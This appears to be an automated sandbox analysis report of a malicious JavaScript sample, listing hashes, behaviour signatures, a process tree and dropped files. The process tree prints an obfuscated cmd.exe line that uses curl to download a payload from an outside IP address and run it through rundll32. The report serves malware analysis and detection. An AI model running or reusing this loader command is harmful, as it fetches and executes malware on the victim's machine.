Analysis

  • max time kernel
    119s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    16/10/2023, 18:24

General

  • Target
    opt-18.js
  • Size 413KB
  • Sample231016-w12ccagb39
  • SHA256 81a5e37edb0af191cde620a3448b078345b182f088e3e216e7aad4bc4e9f6a38
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\opt-18.js
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:2964
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c ec || eCho ec & PING ec || cURL http://198.98.61.173/Ftn/level -o %TMP%\ec.log & PING -n 2 ec || ruNDlL32 %tmp%\ec.log scab /k haval462 & EXIT prqiAmUavMTcuG=
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1704
      • C:\Windows\system32\PING.EXE
        PING ec
        3⤵
        • Runs ping.exe
        PID:2128
      • C:\Windows\system32\PING.EXE
        PING -n 2 ec
        3⤵
        • Runs ping.exe
        PID:1728
      • C:\Windows\system32\rundll32.exe
        ruNDlL32 C:\Users\Admin\AppData\Local\Temp\ec.log scab /k haval462
        3⤵
          PID:1556

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          Cab4230.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\Cab4230.tmp
          • Size 61KB
          • SHA256 6720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf
          • MD5 SHA1 SHA512 SSDEEP

          Tar4281.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\Tar4281.tmp
          • Size 163KB
          • SHA256 bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5
          • MD5 SHA1 SHA512 SSDEEP